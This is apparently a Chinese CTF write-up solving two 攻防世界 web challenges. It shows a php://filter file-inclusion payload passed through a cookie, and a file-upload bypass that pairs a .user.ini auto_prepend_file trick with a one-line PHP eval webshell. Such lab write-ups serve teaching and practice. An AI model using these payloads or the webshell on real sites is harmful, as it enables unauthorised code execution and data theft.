双剑破天门:攻防世界Web题解之独孤九剑心法(三)

双剑破天门:攻防世界Web题解之独孤九剑心法(三)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:攻防世界web-Fileinclude

二:攻防世界web-Easyupload

三:总结


一:攻防世界web-Fileinclude

打开为如下图所示

Flag在flag.php

我们查看源码发现如下

代码审计如下

<?php // 检查是否开启了错误显示,如果没有,则开启 if( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); } // 设置错误报告级别为显示所有错误 error_reporting(E_ALL); // 从 cookie 中获取语言设置 $lan = $_COOKIE['language']; // 如果 cookie 中没有语言设置 if(!$lan) { // 设置默认语言为 english @setcookie("language","english"); // 包含英文语言文件 @include("english.php"); } else { // 如果有语言设置,包含对应的语言文件 @include($lan.".php"); } // 读取 index.php 文件的内容 $x = file_get_contents('index.php'); // 输出 index.php 文件的内容 echo $x; ?>

所以根据代码审计结果我们得知只有cookie中有相应的语言设置才能得到flag

但是检查发现没有cookie所以我们需要自行利用bp传cookie

构建payload=cookie:language=flag发现页面无输出,所以还是有问题

结合题目fileinclude我们可以试一试php伪协议

Payload:cookie:language=php://filter/read=convert.base64-encode/resource=flag

这里路径为flag而不是flag.php因为根据源代码知$lan=flag 在拼接后面.php才对

成功得到flag


二:攻防世界web-Easyupload

打开为文件上传

我们随便上传一个木马文件发现被干掉所以这里应该是过滤了php

所以我们利用fastcg中.user.ini特性进行任意命令执行

参考文章:.user.ini文件构成的PHP后门 - phith0n

添加如下内容

GIF89a
auto_prepend_file=a.jpg

然后利用bp抓包将这个文件上传记住要将Content-Type: application/octet-stream修改为
Content-Type: image/jpg

上传成功

然后将我们准备好的图片马修改为a.jpg我们试一试图片马看看能不能上传,我们现将php改掉

如果你没有图片马可以自行创建一个内容如下 

GIF89a

<?=eval($_REQUEST[c]);?>

修改后如下

 <?=eval($_REQUEST[cmd]);?>

上传成功,我们利用蚁剑连接

连接成功

成功拿到flag

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。


三:总结

PHP 伪协议是一组用于访问不同类型资源、执行代码等操作的特殊协议,可在文件包含等场景被利用;而 FastCGI 中的.user.ini 特性允许用户在特定目录下配置 PHP 运行时设置,若配置不当可能引发安全风险,被攻击者利用来执行恶意代码。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

OKZTWO入门指南:零基础学AI开发

快速体验 1. 打开 InsCode(快马)平台 https://www.inscode.net 2. 输入框内输入如下内容: 使用OKZTWO平台,创建一个新手友好的开发教程项目,逐步引导用户完成一个简单的AI应用开发。教程应包含基础概念讲解、代码示例和互动练习。支持多种学习路径,如Web开发、数据分析和机器学习。提供实时反馈和错误提示,帮助用户快速掌握技能。 1. 点击'项目生成'按钮,等待项目生成完整后预览效果 OKZTWO入门指南:零基础学AI开发 作为一个刚接触AI开发的新手,我最近尝试了OKZTWO平台,发现它确实能让零基础用户快速上手AI开发。下面分享我的学习过程和心得,希望能帮助其他初学者少走弯路。 为什么选择OKZTWO入门AI开发 对于完全没有编程经验的人来说,传统学习AI开发需要先掌握Python、数学基础、机器学习理论等,门槛很高。OKZTWO平台通过以下几个特点降低了入门难度: * 内置可视化编程界面,不需要记忆复杂语法 * 提供大量预设模板和示例项目 * 实时错误提示和修正建议 * 分步骤的交互式学习路径 我的第一个A

Vibe Coding范式实战:用AI工具链(Stitch+Figma+ai studio+Trae)快速开发全栈APP

Vibe Coding范式实战:用AI工具链(Stitch+Figma+ai studio+Trae)快速开发全栈APP

文章目录 * 概要 * stitch制作设计稿 * figma 原型展示 * ai studio 生成前端代码 * 基于trae + Supabase生成后端代码和数据库 * Github + vercel * pc端后台管理系统设计 概要 在 AI 技术深度渗透软件开发领域的当下,一种名为 “Vibe Coding”(氛围编程)的全新范式正在重塑开发者的工作方式。它的核心在于,开发者不再是逐行编写代码的 “码农”,而是通过自然语言描述意图、引导 AI 生成代码的 “创意引导者” 和 “结果验证者”,从而将精力聚焦于更高价值的产品设计和逻辑思考上。 本文提供一种 Vibe Coding 的工作模式:设计阶段以 Google Stitch 为起点,开发者通过文本或草图快速生成响应式 UI 设计与前端代码,再无缝导入 Figma 进行精细化视觉调整和原型设计,实现了从 “想法” 到

人工智能:预训练语言模型与BERT实战应用

人工智能:预训练语言模型与BERT实战应用

人工智能:预训练语言模型与BERT实战应用 1.1 本章学习目标与重点 💡 学习目标:掌握预训练语言模型的核心思想、BERT模型的架构原理,以及基于BERT的文本分类任务实战流程。 💡 学习重点:理解BERT的双向注意力机制与掩码语言模型预训练任务,学会使用Hugging Face Transformers库调用BERT模型并完成微调。 1.2 预训练语言模型的发展历程与核心思想 1.2.1 为什么需要预训练语言模型 💡 传统的自然语言处理模型(如LSTM+词嵌入)存在两个核心痛点:一是需要大量标注数据才能训练出高性能模型,二是模型对语言上下文的理解能力有限。 预训练语言模型的出现解决了这些问题。它的核心思路是先在大规模无标注文本语料上进行预训练,学习通用的语言知识和语义表示,再针对特定任务进行微调。这种“预训练+微调”的范式,极大降低了对标注数据的依赖,同时显著提升了模型在各类NLP任务上的性能。 预训练语言模型的发展可以分为三个阶段: 1. 单向语言模型阶段:以ELMo为代表,通过双向LSTM分别学习正向和反向的语言表示,再拼接得到词向量。但ELMo本质还

【企业级】RuoYi-Vue-Plus AI 智能开发助手 | Claude Code + Codex 双引擎 | 40+ 专业技能包 | 10 大快捷命令 | 开箱即用

【企业级】RuoYi-Vue-Plus AI 智能开发助手 | Claude Code + Codex 双引擎 | 40+ 专业技能包 | 10 大快捷命令 | 开箱即用

RuoYi-Vue-Plus AI 智能编程助手 商品简介 基于 RuoYi-Vue-Plus 5.X 企业级后端框架,深度定制的 AI 智能编程助手配置包。支持 Claude Code 和 OpenAI Codex 双 AI 引擎,内置 40+ 专业开发技能、10 大快捷命令、智能钩子系统,让 AI 真正理解您的项目架构和开发规范,实现 10 倍开发效率提升。 核心亮点 🚀 双 AI 引擎支持 引擎配置目录说明Claude Code.claude/Anthropic Claude 官方 CLI 工具配置OpenAI Codex.codex/OpenAI Codex CLI